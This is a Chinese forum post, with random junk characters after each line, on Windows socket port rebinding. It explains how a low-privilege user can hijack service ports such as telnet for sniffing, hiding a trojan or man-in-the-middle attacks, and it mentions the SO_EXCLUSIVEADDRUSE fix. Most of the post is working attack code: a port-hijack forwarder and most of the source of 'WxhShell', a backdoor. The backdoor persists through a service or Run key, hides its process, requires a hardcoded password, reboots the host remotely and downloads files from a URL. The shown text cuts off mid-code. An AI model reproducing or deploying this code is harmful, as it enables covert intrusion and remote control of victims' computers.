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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f ?_YdVZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @s}I_@  
OB)Vk  
  saddr.sin_family = AF_INET; S7N3L."  
,%w_E[2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Ck6s  
OkGg4X|9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8  k9(iS  
G(~d1%(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M=HW2xn  
"^u  
  这意味着什么?意味着可以进行如下的攻击: DmEmv/N=  
,UopGlA ,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4(o: #9I  
i[`nu#n/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q^$IlzG7i  
y44FejH(v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "IA[;+_"  
c[}h( jkP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C '4u+raq  
~Z!xS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [X ]\^   
:{pvA;f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L MC-1  
Dq/[ g,(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zNofI$U  
Z#BwJHh  
  #include _v{,vLH  
  #include 6^F"np{w  
  #include RXh0hD  
  #include    k!H;(B"s-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <?kr"[cQeP  
  int main() fQi7e5  
  { -sm{Hpf_b  
  WORD wVersionRequested; $9Ho d-Z1  
  DWORD ret; $,otW2:)  
  WSADATA wsaData; $6}siU7s4  
  BOOL val; 8+{WH/}y8  
  SOCKADDR_IN saddr; }`&#{>]2  
  SOCKADDR_IN scaddr; U>7"BpC  
  int err; 6e&Y%O'8  
  SOCKET s; {>tgNW>)  
  SOCKET sc; rVowHP  
  int caddsize; 4j|]=58  
  HANDLE mt; x tg3~/H  
  DWORD tid;   +8Yt91   
  wVersionRequested = MAKEWORD( 2, 2 ); ; 29q  
  err = WSAStartup( wVersionRequested, &wsaData ); !SEHDRp  
  if ( err != 0 ) { W-<E p<7{  
  printf("error!WSAStartup failed!\n"); ;Xg6'yxJ  
  return -1; wUHuykF  
  } A(X~pP &oF  
  saddr.sin_family = AF_INET; aF2 eGh  
   ]IMBRZQqb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I~y[8  
^Crl~~Gk`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,uqSq  
  saddr.sin_port = htons(23); u6IEBYG ((  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \!j{&cJ  
  { hPF9y@lh  
  printf("error!socket failed!\n"); ugcWFB5|  
  return -1; !yU!ta Q  
  } XKN`{h-@  
  val = TRUE; Pwf2dm$,+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^$f} s,09  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fT [JU1  
  { 2c@4<kyfP  
  printf("error!setsockopt failed!\n"); /f~ V(DK  
  return -1; | VPs5  
  } '<5Gf1 @|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YdX#`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kKAK;JQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <\!+J\YTA  
J7W]Str  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +C1/02ZJ  
  { eyBLgJt8P  
  ret=GetLastError(); pqFgi_2m  
  printf("error!bind failed!\n"); vS%o>"P  
  return -1; D@*<p h=  
  } W4Rs9NA}  
  listen(s,2); ; S7 %  
  while(1) Uq `B#JI  
  { -'3~Y 2#  
  caddsize = sizeof(scaddr); = zW}vm }  
  //接受连接请求 Zm,<2BP>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0][PL%3Z  
  if(sc!=INVALID_SOCKET) a<7Ui;^@  
  { Zy _A3m{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g0GC g  
  if(mt==NULL) {r Q6IV3=  
  { "f/lm 2<  
  printf("Thread Creat Failed!\n"); Ic/D!J{Y  
  break; d]6.$"\" p  
  } &l2oyQEF)  
  } }md[hiJ  
  CloseHandle(mt); .P+om<~B  
  } PCDsj_e  
  closesocket(s); <3zA|  
  WSACleanup(); +F$c_ \>  
  return 0; zY_BnJ^  
  }   E7@0,9A U  
  DWORD WINAPI ClientThread(LPVOID lpParam) lg FA}p@  
  { q|BR-0yi  
  SOCKET ss = (SOCKET)lpParam; C-' n4AY^  
  SOCKET sc; ;4p_lw@  
  unsigned char buf[4096]; 37Ux2t  
  SOCKADDR_IN saddr; N-EVH e'}6  
  long num; 'bVDmm).  
  DWORD val; `K37&b;`[  
  DWORD ret; ]8FSs/4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @T[}] e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nylrF"'e  
  saddr.sin_family = AF_INET; mlc0XDS%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rl90uF]8  
  saddr.sin_port = htons(23); (4=NKtA^G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9gR@Q%b)  
  { 1eQa54n  
  printf("error!socket failed!\n"); k2DT+}u7G  
  return -1; 19O /Q,9  
  } MLg+ 9y  
  val = 100; p+#$S4V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :@# '&(#~  
  { sc dU  
  ret = GetLastError(); XA75tU[#  
  return -1; h}r64<Y2{  
  } _tDSG]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :E'uV" j%  
  { N GP}Z4  
  ret = GetLastError(); 9nF;$ HB  
  return -1; DU(QQ53  
  } fvnj:3RK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }tue`">h  
  { e<o{3*%p)  
  printf("error!socket connect failed!\n"); OhMnG@@  
  closesocket(sc); '&?cW#J?  
  closesocket(ss); wh8h1I  
  return -1; ZdG?fWWA  
  } ?IRp3H  
  while(1) ) Zud|%L  
  { :k9n 9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bso l>M[<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'Vq_/g!?1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ca}T)]//  
  num = recv(ss,buf,4096,0); .: gZ*ks~  
  if(num>0) 6\"g,f  
  send(sc,buf,num,0); 9>,$q"M}?  
  else if(num==0) Y&M}3H>E  
  break; fui;F"+1  
  num = recv(sc,buf,4096,0); {jB& e,  
  if(num>0) ajB4 Lj,:r  
  send(ss,buf,num,0); ?t<yk(q  
  else if(num==0) d$.t0-lC  
  break; !9w3/Gthj  
  } 8+'9K%'@qX  
  closesocket(ss); ('k;Ikut  
  closesocket(sc); <j CD^  
  return 0 ; <NRW^#g<x  
  } P X/{  
5WJof`M  
+b@KS"3h  
========================================================== PNVYW?l  
anLSD/'4W  
下边附上一个代码,,WXhSHELL b5WtL+Z  
z+IHt(  
========================================================== O*% 1   
+pDZ,c,  
#include "stdafx.h" h\C" ti2  
 %T9'dcM  
#include <stdio.h> K(bid0 Y  
#include <string.h> e<F>u#d  
#include <windows.h> MP"Pqt  
#include <winsock2.h> hH Kd+QpI  
#include <winsvc.h> ,au-g)IFZ  
#include <urlmon.h> 7nr+X Os  
c*F'x-TH  
#pragma comment (lib, "Ws2_32.lib") 6,Aj5jG  
#pragma comment (lib, "urlmon.lib") Gp*U2LB  
$TU)O^c  
#define MAX_USER   100 // 最大客户端连接数 , c3gW2E  
#define BUF_SOCK   200 // sock buffer ^\|Hz\"*  
#define KEY_BUFF   255 // 输入 buffer D9.H<.|36  
x@^Kd*fo  
#define REBOOT     0   // 重启 OJX* :Q  
#define SHUTDOWN   1   // 关机 eYSVAj  
79}voDFd  
#define DEF_PORT   5000 // 监听端口 qU!xh )  
}~/u%vI@M5  
#define REG_LEN     16   // 注册表键长度 Wk3R6 V  
#define SVC_LEN     80   // NT服务名长度 MZ9{*y[z  
4q%hn3\  
// 从dll定义API m3o+iYkMD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WEX6I 16  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :.xdG>\n3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !a %6nBo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f( =3'wQ  
eAkC-Fm  
// wxhshell配置信息 ]*fiLYe9  
struct WSCFG { Hzos$1DJ  
  int ws_port;         // 监听端口 Fh)`A5#  
  char ws_passstr[REG_LEN]; // 口令 wD9Gl.uQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no c{7<z9U  
  char ws_regname[REG_LEN]; // 注册表键名 . Y@)3  
  char ws_svcname[REG_LEN]; // 服务名 w?u4-GT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H~fX >6>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OXT'$]p.*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PH,MZ"Z%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t?bc$,S"\(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G'>?/l#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #~ikR.-+Eq  
F|Y}X|x8Q  
}; <qGVOAnz+  
ChVur{jR  
// default Wxhshell configuration 1rhEk|pGZ  
struct WSCFG wscfg={DEF_PORT, funHznRR  
    "xuhuanlingzhe", xw1@&QwM  
    1, cSMiNR  
    "Wxhshell", i^Ba?r;*  
    "Wxhshell", Kterp%J?  
            "WxhShell Service", SM3qPlsF  
    "Wrsky Windows CmdShell Service", ^Ob#B!=  
    "Please Input Your Password: ", W PDL$y  
  1, *^h$%<QI  
  "http://www.wrsky.com/wxhshell.exe", 4q<LNvJA  
  "Wxhshell.exe" .)eJL  
    }; .nGYx  
%+>t @F,GM  
// 消息定义模块 $x%3^{G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j?eWh#[K"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {'(1c)q>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WnATgY t  
char *msg_ws_ext="\n\rExit."; u+U '|6)E  
char *msg_ws_end="\n\rQuit."; I\8f`l  
char *msg_ws_boot="\n\rReboot..."; ]g}Tqf/N%  
char *msg_ws_poff="\n\rShutdown..."; ]t4 9Efw  
char *msg_ws_down="\n\rSave to "; _1<zpHp  
 G{4~{{tI  
char *msg_ws_err="\n\rErr!"; :Fv d?[  
char *msg_ws_ok="\n\rOK!"; 7&I+mw/X  
RU r0K#]  
char ExeFile[MAX_PATH]; 6[iuCMOZ  
int nUser = 0; | .8lS3C  
HANDLE handles[MAX_USER]; ,7wxVR%Ys  
int OsIsNt; KN41 kkN  
T*m;G(  
SERVICE_STATUS       serviceStatus; O-5s}RT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^N{Lau  
qa|"kRCO  
// 函数声明 VW," dmC  
int Install(void); 9lT6fW`v1Q  
int Uninstall(void); R78=im7  
int DownloadFile(char *sURL, SOCKET wsh); ,{KjVv<  
int Boot(int flag); *jAw  
void HideProc(void); ue YBD]3'  
int GetOsVer(void); >'qkW$-95  
int Wxhshell(SOCKET wsl); bU(H2Fv  
void TalkWithClient(void *cs); k@,&'imx  
int CmdShell(SOCKET sock); Y~R['u,  
int StartFromService(void); tks3xS  
int StartWxhshell(LPSTR lpCmdLine); g%Yw Dr=0t  
vZ<@m2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Obd};&6Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b[mAkm?9+1  
SI/@Bbd=  
// 数据结构和表定义 zmREzP#X  
SERVICE_TABLE_ENTRY DispatchTable[] = uTSTBI4t  
{ ao@"j}c  
{wscfg.ws_svcname, NTServiceMain}, <%@S-+D`]  
{NULL, NULL} ~-1!?t/%  
}; d;Uzl 1;  
z j[/~ I  
// 自我安装 kX\\t.nH  
int Install(void) O{B[iy(C  
{ 5>o<! 0g  
  char svExeFile[MAX_PATH]; 2E@ !  
  HKEY key; upD 2vtU  
  strcpy(svExeFile,ExeFile); ;k<n}shD  
Hg~O0p}[  
// 如果是win9x系统,修改注册表设为自启动 }w,^]fC:  
if(!OsIsNt) { .6@qU}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qTGEi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6" s}<  
  RegCloseKey(key); zsQhydTR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `#X\@?'5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0cd`. ZF  
  RegCloseKey(key); P^1+;dL,D  
  return 0; x{$~u2|  
    } ,+iREh;  
  } L`fDc  
} pi'w40!:  
else { >o#5tNm  
T'n~Qf U  
// 如果是NT以上系统,安装为系统服务  qac4GZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ";I|\ T  
if (schSCManager!=0) RV*7?y%3  
{ JZCRu_M>|  
  SC_HANDLE schService = CreateService 71nI`.Z  
  ( W6b5elH@  
  schSCManager, {5ujKQOcR  
  wscfg.ws_svcname, |"7^9(  
  wscfg.ws_svcdisp, QasUgZ  
  SERVICE_ALL_ACCESS, N*k`'T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z[7j`J|Kk  
  SERVICE_AUTO_START, Z#n!=k TTm  
  SERVICE_ERROR_NORMAL, [&Kn&bdKW  
  svExeFile, kF09t5Lr  
  NULL, D@M ZTb  
  NULL, Anpx%NVo  
  NULL, ~AD%aHR  
  NULL, F?+K~['i  
  NULL w(sD}YA)  
  ); INm21MS$  
  if (schService!=0) Nb))_+/  
  { LI>tN R~  
  CloseServiceHandle(schService); ~S\Ee 2e>  
  CloseServiceHandle(schSCManager); *?k~n9n5U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uC _&?  
  strcat(svExeFile,wscfg.ws_svcname); oGK 1D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cst:5m0!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S 1%/ee3  
  RegCloseKey(key); pa7Iz^i  
  return 0; ) o)k~6uT  
    } b*-g@S  
  } \2F$FRWo  
  CloseServiceHandle(schSCManager); 6[-N})  
} s|Hrb_[;l  
} \'rh7!v-u  
(s/hK  
return 1; ^|z  
} 4FmT.P  
&x}a  
// 自我卸载 yv.UNcP?  
int Uninstall(void) 0?D`|x_  
{ 4t(V)1+  
  HKEY key; g3p*OYf  
eiL  ;  
if(!OsIsNt) { piZ0KA"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `iX~cUQ  
  RegDeleteValue(key,wscfg.ws_regname); w8|38m  
  RegCloseKey(key); 7=YjY)6r^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W9!EjXg  
  RegDeleteValue(key,wscfg.ws_regname); 2#sJ`pdQ  
  RegCloseKey(key); tgu}^TfKkg  
  return 0; MroJ!.9  
  } B&l5yI b  
} L'1p]Z"  
} .t/XW++  
else { Ms^U`P^V~P  
|Rh%wJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *vx!twu1o  
if (schSCManager!=0) we<m%pf  
{ +="?[:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Iz'*^{Ssm  
  if (schService!=0) ])dq4\Bw  
  { Up61Xn  
  if(DeleteService(schService)!=0) { _N4G[jQLJ  
  CloseServiceHandle(schService); &zl=}xeA  
  CloseServiceHandle(schSCManager); N :#"4e  
  return 0; u$7o d$&S  
  } =.@{ uu;  
  CloseServiceHandle(schService); Ppw0vaJ^  
  } _m;#+`E  
  CloseServiceHandle(schSCManager); Vb0((c%&  
} gbP]!d:I  
} :G&tM   
l{:7*U{d  
return 1; uG1)cm B}  
} Q@]QPpe  
`0@onDQVc=  
// 从指定url下载文件 /8Sg<  
int DownloadFile(char *sURL, SOCKET wsh) fc'NU(70c  
{ faqOGAb  
  HRESULT hr; nf,R+oX  
char seps[]= "/"; 7*bUy)UZ  
char *token; icq!^5BzL  
char *file; nLn3kMl4  
char myURL[MAX_PATH]; b' 1%g}  
char myFILE[MAX_PATH]; oy I8}s:  
Tw:j}ERq  
strcpy(myURL,sURL); &|;XLRHP}  
  token=strtok(myURL,seps); 3h:"-{MW.  
  while(token!=NULL) 0dv# [  
  { xPFNH`O&  
    file=token; Ga5O&`h  
  token=strtok(NULL,seps); =(ULfz[:  
  } ]8)nIT^EP  
5PY,}1`  
GetCurrentDirectory(MAX_PATH,myFILE); FLT4:B7  
strcat(myFILE, "\\"); jB+K)NXHL  
strcat(myFILE, file); !Cq2<[K#  
  send(wsh,myFILE,strlen(myFILE),0); !f 7CN<  
send(wsh,"...",3,0); -;/;dz;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LvlVZjT  
  if(hr==S_OK) 1#KE4(  
return 0; (vX+ Yw  
else R`? '|G]P  
return 1; 0 K T.@P  
SE%B&8ZD  
} m+y5Q&;f  
inO)Y]|f  
// 系统电源模块 ~j%g?;#*  
int Boot(int flag) 5)g6yV'  
{ :VP*\K/:  
  HANDLE hToken; B d#D*"gx  
  TOKEN_PRIVILEGES tkp; ~>h_#sIBC  
,{"%-U#z  
  if(OsIsNt) { )bJS*#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vbH?[ Zr?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $a'n{EP  
    tkp.PrivilegeCount = 1; ^gP pmb<x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (9!$p|d*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A*;I}F  
if(flag==REBOOT) { ya[][!.G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MHh>~Y(h  
  return 0; ]njObU)[zr  
} F` /mcyf  
else { =og5Mh,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x|>N   
  return 0; gIGyY7{(s8  
} BCH{0w^D  
  } }.j<kmd  
  else { FW](GWp`:  
if(flag==REBOOT) { -4  ~(*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TvV_Tz4e  
  return 0; yV;_]_EO  
} 60 D0z  
else { $ yd "bJK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a: C h"la  
  return 0; 8SV.giG;  
} S;pKL,d>r  
} l~|x*JTq  
L'=mDb  
return 1; #$vQT}  
} z?ck*9SZX  
>A'Q9Tia;  
// win9x进程隐藏模块 azEN_oUV  
void HideProc(void) "pQFIV,  
{ ]yc&ffe%  
="~yD[S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8i@HO  
  if ( hKernel != NULL ) FU;b8{Y  
  { \6]Uj+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9$]I3k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BU3VXnqT[  
    FreeLibrary(hKernel); $K_G|Wyi  
  } 3>Ne_kY  
h'Gs$o7#P  
return; _J|cJ %F>%  
} {KH!PAh  
^oykimYI-  
// 获取操作系统版本 ~353x%e'  
int GetOsVer(void) adi^*7Q] )  
{ R^[b I;  
  OSVERSIONINFO winfo; [(*ObvEF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L[Z SgRTu  
  GetVersionEx(&winfo); mmN!=mf*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;nzzt~aCC  
  return 1; PWavq?SR  
  else s{QS2G$5  
  return 0; 0a1Vj56{)  
} #*J+4a w3  
OrN~ Y#D  
// 客户端句柄模块 V:<NQd  
int Wxhshell(SOCKET wsl) 6[\b]I\Q  
{ Xs,[Z2_iq  
  SOCKET wsh; {x&"b-  
  struct sockaddr_in client; >gj%q$@  
  DWORD myID; C rA7lu'  
S"}G/lBx.  
  while(nUser<MAX_USER) @ V_@r@A  
{ ;v}f7v '  
  int nSize=sizeof(client); G<dWh.|`=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \{g;|Z 1  
  if(wsh==INVALID_SOCKET) return 1; y{Fq'w!ap  
d9@Pze">e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <1^\,cI2  
if(handles[nUser]==0) -XbO[_Wf  
  closesocket(wsh); {pzu1*  
else J83{&N2u  
  nUser++; >q+q];=(  
  } L%h Vts'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Tb'f^M$  
XGs d"UW  
  return 0; ZxvqLu  
} 4hymQ3 g  
Ym]Dlz,o  
// 关闭 socket e*nT+Rp  
void CloseIt(SOCKET wsh) .u<i<S  
{ F9N/_H*+  
closesocket(wsh); Cp`>dtCd  
nUser--; =1:dKo8  
ExitThread(0); I;=HXL  
} 8!{;yz  
5.]eF$x2  
// 客户端请求句柄 e9F\U   
void TalkWithClient(void *cs) a>_Cxsb&`  
{ D'nO  
X+R?>xq{=h  
  SOCKET wsh=(SOCKET)cs; wZAY0@pA  
  char pwd[SVC_LEN]; I: j!A  
  char cmd[KEY_BUFF]; lZ\Si  
char chr[1]; *8WcRx  
int i,j; >TnV Lx<  
E~b Yk6  
  while (nUser < MAX_USER) { 7KB:wsz^  
-5&|"YYjr{  
if(wscfg.ws_passstr) { {9/ayG[98  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P7X':  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K #f*LV5  
  //ZeroMemory(pwd,KEY_BUFF); z~Ec*  
      i=0; |aaoi4OJ  
  while(i<SVC_LEN) { 7H,p/G?]k  
\v*WI)]  
  // 设置超时 ;|.~'':  
  fd_set FdRead; )`4g,W  
  struct timeval TimeOut; ZRD@8'1p  
  FD_ZERO(&FdRead); _QS+{  
  FD_SET(wsh,&FdRead); @P$_2IU"  
  TimeOut.tv_sec=8; f^EDiG>b`  
  TimeOut.tv_usec=0; /d1 B-I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 65@,FDg*i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P S$6`6G  
p!XB\%sv'"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D09/(%4j  
  pwd=chr[0]; t V]BcDp  
  if(chr[0]==0xd || chr[0]==0xa) { hYj!*P)uV  
  pwd=0; )|d]0/<  
  break; KX|7mr90K  
  } %wc=Mf  
  i++; ;X9nYH  
    } f{[] m(X;  
,j'>}'wG)  
  // 如果是非法用户,关闭 socket `.0WK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zn-F!Lsv  
} xe=/T# %  
Lwy9QZL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '`+GC9VG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xUKn  
nc0!ag  
while(1) { A3;}C+K  
jTDaW8@L  
  ZeroMemory(cmd,KEY_BUFF); 0Ud.u  
2#^@awJ ?  
      // 自动支持客户端 telnet标准   )`*=P}D  
  j=0; ['G@`e*\  
  while(j<KEY_BUFF) {  hxedQvW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l9zkx'xt.-  
  cmd[j]=chr[0]; 9:]w|lE:D  
  if(chr[0]==0xa || chr[0]==0xd) { oX;D|8 f  
  cmd[j]=0; App9um3:  
  break; Kgb 3>r  
  } e*zt;SR  
  j++; |k3^ eeLk  
    } `<3/k  
@77%15_Jz  
  // 下载文件 IPIas$  
  if(strstr(cmd,"http://")) { 7Zf * T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  4dd]Ju  
  if(DownloadFile(cmd,wsh)) t:SME'~.P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FA+'E  
  else A<+veqb4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }H>}v/  
  } h VQj$TA  
  else { \?|FB~.Ry  
sXpA^pT"T  
    switch(cmd[0]) { 65~X!90k  
  >7fNxQ  
  // 帮助 ~0^d-,ZD5  
  case '?': { h"/y$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0fpxr`  
    break; {e1akg.  
  } `u *:wJsv  
  // 安装 TsvF~Gdp  
  case 'i': { >@mvb@4*  
    if(Install()) DO^K8~]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $?e_ l  
    else E&wz0d;gf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J[r<Dm8F  
    break; {cW%i:  
    } :B(vk3;U!  
  // 卸载 H/v|H}d;  
  case 'r': { "SV#e4C.  
    if(Uninstall()) 0+vt LDq@P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tJm0z!  
    else -k+}w_<Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ul/Uk n$  
    break; a@ub%laL Z  
    } P`HDQ/^O  
  // 显示 wxhshell 所在路径 -D4"uoN.  
  case 'p': { ;ye5HlH}.  
    char svExeFile[MAX_PATH]; [s"e?Qee  
    strcpy(svExeFile,"\n\r"); 9?IvSv}z  
      strcat(svExeFile,ExeFile); %:DH _0  
        send(wsh,svExeFile,strlen(svExeFile),0); S%sD#0l  
    break; E;m-^dxc  
    } Ow@ }6&1  
  // 重启 /jtU<uX  
  case 'b': { v{T%`WuPRf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  s_p\ bl.  
    if(Boot(REBOOT)) FVgE^_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /3!c ;(  
    else { 9c}mAg4  
    closesocket(wsh); a9"1a'  
    ExitThread(0); KcK,%!>B  
    } k|Syw ATr  
    break; o-f;$]yp>  
    } ==?!z<I.d  
  // 关机 |BC/ERms  
  case 'd': { A0@E^bG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aYBc)LCd  
